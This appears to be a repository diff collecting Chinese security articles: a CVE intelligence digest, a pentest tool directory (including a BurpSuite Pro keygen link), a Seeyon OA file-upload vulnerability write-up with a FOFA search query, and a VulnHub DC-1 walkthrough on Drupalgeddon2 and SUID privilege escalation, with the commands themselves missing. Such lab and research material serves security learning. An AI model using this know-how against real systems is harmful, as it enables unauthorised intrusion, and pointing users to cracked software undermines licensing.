|
||||
|
||||
Google Project Zero发现Windows 11 25H2管理员保护功能存在9个绕过方法，可静默获取完整管理员权限。
|
||||
|
||||
https://projectzero.google/2026/26/windows-administrator-protection.html
|
||||
|
||||
- **VMware Workstation PVSCSI堆溢出虚拟机逃逸漏洞（CVE-2025-41238）**
|
||||
|
||||
PVSCSI控制器存在堆溢出漏洞，Synacktiv团队在Pwn2Own上成功利用该漏洞实现虚拟机逃逸。
|
||||
|
||||
https://www.synacktiv.com/en/publications/on-the-clock-escaping-vmware-workstation-at-pwn2own-berlin-2025
|
||||
|
||||
- **SolarWinds Web Help Desk反序列化漏洞（CVE-2025-40551）**
|
||||
|
||||
未经身份验证的攻击者可通过构造恶意序列化对象实现远程代码执行。
|
||||
|
||||
https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/
|
||||
|
||||
- **n8n工作流自动化平台表达式节点RCE漏洞（CVE-2026-1470）**
|
||||
|
||||
Expression节点存在RCE漏洞，CVSS评分9.9（严重），攻击者可通过恶意表达式绕过沙箱执行任意代码。
|
||||
|
||||
https://research.jfrog.com/vulnerabilities/n8n-expression-node-rce/
|
||||
|
||||
- **OpenSSL潜在RCE漏洞（CVE-2025-15467）**
|
||||
|
||||
特定条件下可能导致内存损坏并执行任意代码，虽然实际利用难度较高但影响范围广泛。
|
||||
|
||||
https://research.jfrog.com/post/potential-rce-vulnerabilityin-openssl-cve-2025-15467/
|
||||
|
||||
- **Samsung MagicInfo Server远程代码执行漏洞**
|
||||
|
||||
攻击者可通过未经身份验证的HTTP请求触发RCE漏洞获取服务器控制权。
|
||||
|
||||
https://srcincite.io/blog/2026/01/28/samstung-part-1-remote-code-execution-in-magicinfo-server.html
|
||||
|
||||
https://srcincite.io/blog/2026/01/28/samstung-part-2-remote-code-execution-in-magicinfo-server.html
|
||||
|
||||
- **AutoGPT平台禁用块执行绕过RCE漏洞（CVE-2026-24780）**
|
||||
|
||||
块执行端点未检查disabled标志，已认证用户可执行BlockInstallationBlock实现RCE。
|
||||
|
||||
https://github.com/advisories/GHSA-r277-3xc5-c79v
|
||||
|
||||
|
||||
更多漏洞情报
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。
|
||||
|
||||
|
||||
邮箱：360VRI@360.cn
|
||||
|
||||
网址：https://vi.loudongyun.360.net
|
||||
|
||||
|
||||
|
||||
“洞”悉网络威胁，守护数字安全
|
||||
|
||||
|
||||
**关于我们**
|
||||
|
||||
|
||||
360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。
|
||||
|
||||
|
||||
@@ -0,0 +1,329 @@
|
||||
# 渗透测试人员必备武器库：子域名爆破、漏洞扫描、内网渗透、工控安全工具全收录
|
||||
原创 0xSecDebug
|
||||
0xSecDebug 0xSecDebug 2026-01-31 04:15
|
||||
|
||||
# 网络安全与渗透测试工具导航
|
||||
|
||||
|
||||
> 请勿利用文章内的相关技术从事
|
||||
**非法渗透测试**
|
||||
，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。**工具和内容均来自网络，仅做学习和记录使用，安全性自测，如有侵权请联系删除**
|
||||
。
|
||||
> **项目地址在文章底部哦**
|
||||
|
||||
## 目录
|
||||
- 入门指南
|
||||
|
||||
- 在线靶场
|
||||
|
||||
- 文件上传漏洞靶场
|
||||
|
||||
- 导航
|
||||
|
||||
- 有效载荷
|
||||
|
||||
- 子域名枚举
|
||||
|
||||
- 自动爬虫实现的子域名收集工具
|
||||
|
||||
- WAF开源及规则
|
||||
|
||||
- Web应用扫描工具
|
||||
|
||||
- webshell检测以及病毒分析
|
||||
|
||||
- DDos防护
|
||||
|
||||
- Android系列工具
|
||||
|
||||
- XSS扫描
|
||||
|
||||
- 代码审计
|
||||
|
||||
- 端口扫描、指纹识别以及中间件扫描
|
||||
|
||||
- 高级持续性威胁（APT）相关工具
|
||||
|
||||
- 工控系统及大型网络相关安全工
|
||||
|
||||
- 模块化扫描、综合扫描器
|
||||
|
||||
- 内网安全渗透测试工具集
|
||||
|
||||
- 企业网络自检
|
||||
|
||||
- 弱口令或信息泄漏扫描
|
||||
|
||||
- 社工库
|
||||
|
||||
- 数据库防火墙
|
||||
|
||||
- 数据库扫描及注入
|
||||
|
||||
- 无线网络渗透审计
|
||||
|
||||
- 物联网设备扫描
|
||||
|
||||
- 针对性漏洞测试工具
|
||||
|
||||
## 入门指南
|
||||
- 网络黑客入门 中文版：https://wizardforcel.gitbooks.io/web-hacking-101/content/
|
||||
|
||||
- 浅入浅出Android安全 中文版：https://wizardforcel.gitbooks.io/asani/content/
|
||||
|
||||
- Android 渗透测试学习手册 中文版：https://wizardforcel.gitbooks.io/lpad/content/
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
### 在线靶场
|
||||
- SQLi-LABS
|
||||
：http://43.247.91.228:84/
|
||||
|
||||
- DVMA
|
||||
：http://43.247.91.228:81/
|
||||
|
||||
- XSS
|
||||
：http://59.63.200.79:8004/Feedback.asp
|
||||
|
||||
### 文件上传漏洞靶场
|
||||
- https://github.com/c0ny1/upload-labs
|
||||
|
||||
- https://github.com/LandGrey/upload-labs-writeup
|
||||
|
||||
### 导航
|
||||
- 渗透导航网站：渗透师导航、黑客街
|
||||
|
||||
### 有效载荷
|
||||
- Payload
|
||||
：https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
|
||||
- BurpSuitePro-2.0.06-beta-Loader-Keygen
|
||||
：https://github.com/h0nus/BurpSuitePro-2.0.06-beta-Loader-Keygen
|
||||
|
||||
## 子域名枚举
|
||||
- 经典的子域名爆破枚举脚本：https://github.com/lijiejie/subDomainsBrute
|
||||
|
||||
- 子域名字典穷举：https://github.com/ring04h/wydomain
|
||||
|
||||
- 子域名枚举与地图标记：https://github.com/le4f/dnsmaper
|
||||
|
||||
- 在线子域名信息收集工具：https://github.com/0xbug/orangescan
|
||||
|
||||
- 。。。。。。。。
|
||||
|
||||
### 自动爬虫实现的子域名收集工具
|
||||
- 快速子域枚举工具：https://github.com/aboul3la/Sublist3r
|
||||
|
||||
- 子域名枚举及信息搜集工具：https://github.com/jonluca/Anubis
|
||||
|
||||
- 子域名查询工具：https://github.com/n4xh4ck5/N4xD0rk
|
||||
|
||||
- 一款高效的子域名爆破工具：https://github.com/infosec-au/altdns
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## WAF开源及规则
|
||||
- https://github.com/xsec-lab/x-waf
|
||||
|
||||
- https://github.com/loveshell/ngx_lua_waf
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## Web应用扫描工具
|
||||
- Web应用安全扫描器框架：http://github.com/Arachni/arachni
|
||||
|
||||
- 增强版：https://github.com/dr0op/WeblogicScanWeblogicScan
|
||||
|
||||
## webshell检测以及病毒分析
|
||||
- 简单的php后门检测工具以及webshell样本库：https://github.com/We5ter/Scanners-Box/tree/master/webshell/
|
||||
|
||||
- Webshell扫描工具：https://github.com/ym2011/ScanBackdoor
|
||||
|
||||
- PHP后门扫描：https://github.com/yassineaddi/BackdoorMan
|
||||
|
||||
- 。。。。。。
|
||||
|
||||
|
||||
## DDos防护
|
||||
- https://github.com/ywjt/Dshield
|
||||
|
||||
## Android系列工具
|
||||
- http://sec-redclub.com/index.php/archives/439/
|
||||
|
||||
## XSS扫描
|
||||
- 跨站脚本暴力破解器：https://github.com/shawarkhanethicalhacker/BruteXSS
|
||||
|
||||
- 一个用来检查跨站追踪的小型Python脚本：https://github.com/1N3/XSSTracer
|
||||
|
||||
- PHP版本的反射型xss扫描：https://github.com/0x584A/fuzzXssPHP
|
||||
|
||||
- 批量扫描xss的python脚本：https://github.com/chuhades/xss_scan
|
||||
|
||||
- 。。。。。。
|
||||
|
||||
## 代码审计
|
||||
- php静态扫描工具集：https://github.com/exakat/php-static-analysis-tools
|
||||
|
||||
- 白盒代码安全审计系统：https://github.com/wufeifei/cobra
|
||||
|
||||
- 静态PHP代码审计：https://github.com/OneSourceCat/phpvulhunter
|
||||
|
||||
- 跟踪、分析PHP运行情况的工具：https://github.com/Qihoo360/phptrace
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## 端口扫描、指纹识别以及中间件扫描
|
||||
- Nmap端口扫描器之王：https://nmap.org/download.html
|
||||
|
||||
- 目标端口扫描+系统服务指纹识别：https://github.com/ring04h/wyportmap
|
||||
|
||||
- 动态多线程敏感信息泄露检测工具：https://github.com/ring04h/weakfilescan
|
||||
|
||||
- WAF产品指纹识别：https://github.com/EnableSecurity/wafw00f
|
||||
|
||||
- SSL类型识别：https://github.com/rbsec/sslscan
|
||||
|
||||
- Web指纹识别：https://github.com/urbanadventurer/whatweb
|
||||
|
||||
- Web应用指纹识别：https://github.com/tanjiti/FingerPrint
|
||||
|
||||
- 。。。。。。
|
||||
|
||||
## 高级持续性威胁（APT）相关工具
|
||||
- 一款APT入侵痕迹扫描器：https://github.com/Neo23x0/Loki
|
||||
|
||||
## 工控系统及大型网络相关安全工
|
||||
- ICS设备nmap扫描脚本： https://github.com/w3h/icsmaster/tree/master/nse
|
||||
|
||||
- SDN安全评估框架：https://github.com/OpenNetworkingFoundation/DELTA
|
||||
|
||||
## 模块化扫描、综合扫描器
|
||||
- 自动漏洞扫描器，子域名爆破，端口扫描，目录爆破，常用框架漏洞检测：https://github.com/az0ne/AZScanner
|
||||
|
||||
- 分布式web漏洞扫描框架，集合owasp top10漏洞扫描和边界资产发现能力：https://github.com/blackye/lalascan
|
||||
|
||||
- BkScanner 分布式、插件化web漏洞扫描器：https://github.com/blackye/BkScanner
|
||||
|
||||
- 被动式漏洞扫描：https://github.com/ysrc/GourdScanV2
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## 内网安全渗透测试工具集
|
||||
- 企业内网渗透脚本，包括banner扫描、端口扫描;各种通用漏洞利用等：https://github.com/0xwindows/VulScritp
|
||||
|
||||
- 基于网络流量的内网探测框架：https://github.com/lcatro/network_backdoor_scanner
|
||||
|
||||
- 调用 Windows API 枚举用户登录信息：https://github.com/fdiskyou/hunter
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## 企业网络自检
|
||||
- 详细的内部网络信息扫描器：https://github.com/sowish/LNScan
|
||||
|
||||
- JavaScript实现的本地网络扫描器：https://github.com/SkyLined/LocalNetworkScanner
|
||||
|
||||
- 网络资产识别引擎，漏洞检测引擎：https://github.com/ysrc/xunfeng
|
||||
|
||||
- 企业被搜索引擎收录敏感资产信息监控脚本：员工邮箱、子域名、Hosts：https://github.com/laramies/theHarvester
|
||||
|
||||
- 。。。。。。
|
||||
|
||||
## 弱口令或信息泄漏扫描
|
||||
- 一个简单的HTTP暴力破解、撞库攻击脚本：https://github.com/lijiejie/htpwdScan
|
||||
|
||||
- 一个迷你的信息泄漏批量扫描脚本：https://github.com/lijiejie/BBScan
|
||||
|
||||
- .git文件夹泄漏利用工具：https://github.com/lijiejie/GitHack
|
||||
|
||||
- 基于字典的目录扫描小工具：https://github.com/LoRexxar/BScanner
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## 数据库防火墙
|
||||
- https://nim4.github.io/DBShield/
|
||||
|
||||
## 数据库扫描及注入
|
||||
- 注入工具之王sqlmap：https://github.com/sqlmapproject/sqlmap
|
||||
|
||||
- 一款基于SQLMAP和Charles的被动SQL注入漏洞扫描工具：https://github.com/0xbug/SQLiScanner
|
||||
|
||||
- 99行代码实现的sql注入漏洞扫描器：https://github.com/stamparm/DSSS
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## 无线网络渗透审计
|
||||
- 无线安全审计工具：https://github.com/savio-code/fern-wifi-cracker/
|
||||
|
||||
- Python网络/渗透测试工具：https://github.com/m4n3dw0lf/PytheM
|
||||
|
||||
- 无线安全渗透测试套件：https://github.com/P0cL4bs/WiFi-Pumpkin
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
## 物联网设备扫描
|
||||
- 物联网设备默认密码扫描检测工具：https://github.com/rapid7/IoTSeeker
|
||||
|
||||
- 使用nmap扫描IoT设备：https://github.com/shodan-labs/iotdb
|
||||
|
||||
- 路由器漏洞扫描利用：https://github.com/jh00nbr/Routerhunter-2.0
|
||||
|
||||
- 路由器漏洞利用框架：https://github.com/reverse-shell/routersploit
|
||||
|
||||
- 。。。。。。
|
||||
|
||||
##
|
||||
- java反序列化利用工具集：https://github.com/brianwrf/hackUtils
|
||||
|
||||
- java反序列化利用工具：https://github.com/frohoff/ysoserial
|
||||
|
||||
- Jenkins漏洞探测、用户抓取爆破：https://github.com/blackye/Jenkins
|
||||
|
||||
- discuz漏洞扫描：https://github.com/code-scan/dzscan
|
||||
|
||||
- 。。。。。。。
|
||||
|
||||
📖 项目地址
|
||||
##
|
||||
```
|
||||
https://github.com/stz-H/SecBoxA?tab=readme-ov-file
|
||||
```
|
||||
## 💻 威胁情报推送群
|
||||
> 如果师傅们想要第一时间获取到**最新的威胁情报**
|
||||
，可以添加下面我创建的
|
||||
**钉钉漏洞威胁情报群**
|
||||
，便于师傅们可以及时获取最新的
|
||||
**IOC**
|
||||
。
|
||||
> 如果师傅们想要获取
|
||||
**网络安全相关知识内容**
|
||||
，可以添加下面我创建的
|
||||
**网络安全全栈知识库**
|
||||
，便于师傅们的学习和使用：
|
||||
|
||||
> 覆盖渗透、安服、运营、代码审计、内网、移动、应急、工控、AI/LLM、数据、业务、情报、黑灰产、SOC、溯源、钓鱼、区块链等 方向，**内容还在持续整理中......**
|
||||
。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点分享**
|
||||
|
||||
|
||||
|
||||
**点收藏**
|
||||
|
||||
|
||||
|
||||
**点在看**
|
||||
|
||||
|
||||
|
||||
**点点赞**
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
# 漏洞复现 | 致远OA 权限绕过saveExcelInBase任意文件上传漏洞
|
||||
实战安全研究 2026-01-31 01:03
|
||||
|
||||
**免责声明**
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"><td valign="top" style="-webkit-tap-highlight-color: transparent;outline: 0px;word-break: break-all;hyphens: auto;visibility: visible;"><span style="color: rgb(255, 0, 0);letter-spacing: 0.544px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);outline: 0px;visibility: visible;font-size: 14px;"><span leaf="">本文仅用于技术学习和安全研究，请勿使用本文所提供的内容及相关技术从事非法活动，由于传播和利用此文所提供的内容或工具而造成任何直接或间接的损失后果，均由使用者本人承担，所产生一切不良后果与文章作者及本账号无关。如内容有争议或侵权，请私信我们！我们会立即删除并致歉。谢谢！</span></span></td></tr></tbody></table>
|
||||
1
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
|
||||
北京致远互联软件股份有限公司成立于2002年，总部设立在北京，是一家始终专注于协同管理软件领域的高新技术企业，为客户提供专业的协同管理软件产品、解决方案、平台及云服务，是中国协同管理软件领域的开创者，
|
||||
致远OA 权限绕过saveExcelInBase任意文件上传漏洞
|
||||
，未经身份验证的攻击者通过漏洞上传恶意后门文件，执行任意代码，从而获取到服务器权限。
|
||||
|
||||
2
|
||||
|
||||
**影响版本**
|
||||
|
||||
|
||||
|
||||
致远互联OA
|
||||
|
||||
3
|
||||
|
||||
**fofa语法**
|
||||
|
||||
|
||||
|
||||
fofa语法
|
||||
```
|
||||
app="致远互联-OA"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
4
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
绕过登录上传文件
|
||||
|
||||
|
||||
|
||||
访问文件
|
||||
|
||||
|
||||
|
||||
|
||||
5
|
||||
|
||||
**检测POC**
|
||||
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||
|
||||
|
||||
afrog
|
||||
|
||||
|
||||
|
||||
|
||||
6
|
||||
|
||||
**漏洞修复**
|
||||
|
||||
|
||||
1、建议联系厂商打补丁或升级版本。
|
||||
|
||||
2、增加Web应用防火墙防护。
|
||||
|
||||
3、关闭互联网暴露面或接口设置访问权限。
|
||||
|
||||
7
|
||||
|
||||
**内部圈子**
|
||||
|
||||
|
||||
**现在已更新POC数量 1800+（中危以上）**
|
||||
|
||||
|
||||
🔥 **1day/Nday 漏洞实战圈上线**
|
||||
🔥
|
||||
|
||||
还在到处找公开漏洞 POC？
|
||||
|
||||
这里专注整合全网1day/Nday漏洞POC和复现，一站式解决你的痛点！
|
||||
|
||||
🔍
|
||||
圈子福利
|
||||
|
||||
✅ 整合全网 1day/Nday 漏洞POC，附带复现步骤，新手也能快速上手
|
||||
|
||||
✅ 每周更新 10-15 个POC测试脚本，经过实测验证，到手就能用
|
||||
|
||||
✅ 完美适配 Nuclei/Afrog 扫描工具，脚本无需额外修改，即拿即用
|
||||
|
||||
✅ 重磅福利：免登录免费 FOFA 查询，无需账号也能高效资产测绘
|
||||
|
||||
✅ 专属权益：提供指纹识别库，指纹库持续更新
|
||||
|
||||
💡
|
||||
适合对象
|
||||
|
||||
渗透测试🔹攻防演练🔹安全运维🔹企业自查
|
||||
🔹SRC漏洞挖掘
|
||||
|
||||
⚠️
|
||||
重要提醒
|
||||
|
||||
仅限授权范围内的合法安全测试，严禁用于未授权攻击行为！
|
||||
|
||||
本服务为虚拟资源服务，一经购买概不退款，请按需谨慎购买！
|
||||
|
||||
现在加入圈子价格是59.9元（
|
||||
交个朋友啦
|
||||
），后面将调整涨价啦。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,133 @@
|
||||
# 网安靶场实战指南（第6期）：从Web漏洞到拿下服务器！VulnHub靶场DC-1通关实录，新手也能学会提权
|
||||
原创 点击关注👉
|
||||
点击关注👉 网络安全学习室 2026-01-31 02:49
|
||||
|
||||
很多人刷完DVWA、Juice Shop，总觉得“不过瘾”——这些靶场要么只练Web漏洞，要么没有真实服务器环境。但真实渗透中，**拿下Web权限只是第一步，提权、横向移动才是拿高权限的关键**
|
||||
！
|
||||
|
||||
今天就带大家玩VulnHub最经典的靶场镜像DC-1——这是一个模拟真实Linux服务器的靶场，从“Web漏洞getshell”到“Linux提权”再到“拿下最终flag”，全程手把手教你走通完整渗透流程。学会这套思路，你才算真正入门实战渗透，再也不是只会刷Web漏洞的“小白”！
|
||||
## 一、 准备工作：5分钟搞定靶场环境搭建
|
||||
|
||||
VulnHub的靶场都是虚拟机镜像，新手别慌，跟着步骤来，零门槛搭建！
|
||||
### 1. 下载镜像+准备工具
|
||||
- 靶场下载：去VulnHub官网搜“DC-1”，下载镜像文件（格式是.ova，很小，几百MB）
|
||||
|
||||
- 工具准备：VMware或VirtualBox（虚拟机软件）、kali Linux（攻击机，自带所有渗透工具）
|
||||
|
||||
### 2. 虚拟机配置（核心！避免踩坑）
|
||||
1. 打开VMware，点击“打开虚拟机”，选择下载好的DC-1.ova文件，导入虚拟机
|
||||
|
||||
1. 网络设置：把DC-1和你的kali攻击机都设置为**仅主机模式**
|
||||
（确保两台机器在同一网段，能互相访问）
|
||||
|
||||
1. 启动靶场：先开kali，再开DC-1，DC-1启动后会显示一个Linux登录界面，不用管它
|
||||
|
||||
### 3. 找到靶场IP（第一步必做！）
|
||||
|
||||
攻击前先确定目标IP，在kali里打开终端，执行命令扫描网段：
|
||||
|
||||
|
||||
|
||||
扫描完成后，找到“DC-1”对应的IP（比如我的是192.168.137.130），记下来！
|
||||
## 二、 第一步：信息收集——找到靶场的“突破口”
|
||||
|
||||
渗透的核心是“知己知彼”，先扫描靶场开放了哪些端口、有哪些服务：
|
||||
|
||||
|
||||
### 扫描结果解读（重点看这两个！）
|
||||
1. **80端口开放**
|
||||
：运行Apache服务，说明有Web网站（突破口来了！）
|
||||
|
||||
1. **22端口开放**
|
||||
：运行SSH服务，后续拿到账号密码可以直接登录服务器
|
||||
|
||||
## 三、 第二步：Web漏洞突破——拿下第一个shell
|
||||
|
||||
访问靶场IP（192.168.137.130），看到一个用Drupal搭建的CMS网站——Drupal是老牌CMS，低版本有很多漏洞，DC-1用的正好是有漏洞的版本！
|
||||
### 1. 漏洞扫描：找到可利用的漏洞
|
||||
|
||||
用kali自带的工具扫描Drupal版本和漏洞：
|
||||
|
||||
|
||||
|
||||
搜索结果里会看到“Drupal 7.x - 'Drupalgeddon2' Remote Code Execution”——这个漏洞可以直接远程执行命令，拿下shell！
|
||||
### 2. 利用漏洞：一键getshell
|
||||
1. 复制漏洞对应的exp路径（比如exploit/unix/webapps/44449.rb
|
||||
）
|
||||
|
||||
1. 执行exp，获取shell：
|
||||
|
||||
|
||||
|
||||
1. 看到id
|
||||
命令返回结果，说明**成功拿到低权限shell**
|
||||
！（当前用户是www-data，权限很低）
|
||||
|
||||
## 四、 第三步：Linux提权——从低权限到root（核心难点！）
|
||||
|
||||
拿到www-data权限后，我们只能操作Web目录，要想控制整个服务器，必须提权到root——这是真实渗透中最关键的一步！
|
||||
### 1. 先找靶场的flag文件（明确目标）
|
||||
|
||||
DC-1有5个flag，找到所有flag才算通关。在shell里执行命令找flag：
|
||||
|
||||
|
||||
|
||||
找到第一个flag，里面提示“看看/etc/passwd文件”——这是关键线索！
|
||||
### 2. 查看/etc/passwd，发现新用户
|
||||
|
||||
执行命令查看系统用户列表：
|
||||
|
||||
|
||||
|
||||
会发现一个叫flag4
|
||||
的用户——这是靶场留的第二个突破口！
|
||||
### 3. 提权关键：利用SUID权限文件
|
||||
|
||||
SUID是Linux的特殊权限，拥有SUID权限的文件，能以文件所有者的权限执行——我们要找root用户拥有的SUID文件：
|
||||
|
||||
|
||||
|
||||
搜索结果里会有/usr/bin/find
|
||||
——这个命令可以用来提权！
|
||||
### 4. 用find命令提权到root（终极技巧！）
|
||||
|
||||
find命令是root用户所有，且有SUID权限，执行下面的命令：
|
||||
|
||||
|
||||
|
||||
执行后，输入id
|
||||
命令，看到uid=0(root)
|
||||
——**成功提权到root**
|
||||
！
|
||||
## 五、 第四步：拿下所有flag，完成通关
|
||||
|
||||
提权到root后，整个服务器都归你管了！再次执行find命令找所有flag：
|
||||
|
||||
|
||||
|
||||
找到最后一个flag（在root目录下），里面写着“恭喜通关”——至此，DC-1靶场全部搞定！
|
||||
## 六、 实战总结：真实渗透的核心思路
|
||||
|
||||
DC-1靶场完美还原了真实渗透流程，总结下来就3步：
|
||||
1. **信息收集**
|
||||
：扫端口、找服务、确定突破口（80端口Web服务）
|
||||
|
||||
1. **Web突破**
|
||||
：利用CMS漏洞拿到低权限shell
|
||||
|
||||
1. **提权横向移动**
|
||||
：找SUID文件提权到root，控制整个服务器
|
||||
|
||||
这就是真实企业渗透的完整逻辑——不是只会找Web漏洞，而是从“突破”到“提权”的全流程操作！
|
||||
## 七、 互动与下期预告
|
||||
|
||||
你在提权的时候有没有卡壳？比如找不到SUID文件，或者提权命令执行失败？评论区留言，我帮你拆解问题！
|
||||
|
||||
下一期我们继续玩VulnHub靶场DC-2，教你**利用SSH密钥登录+crontab定时任务提权**
|
||||
，这套技巧在真实SRC里经常用到，关注不迷路！
|
||||
|
||||
点击文末
|
||||
阅读原文
|
||||
领取200节攻防教程
|
||||
|
||||
|
||||
Reference in new issue
Block a user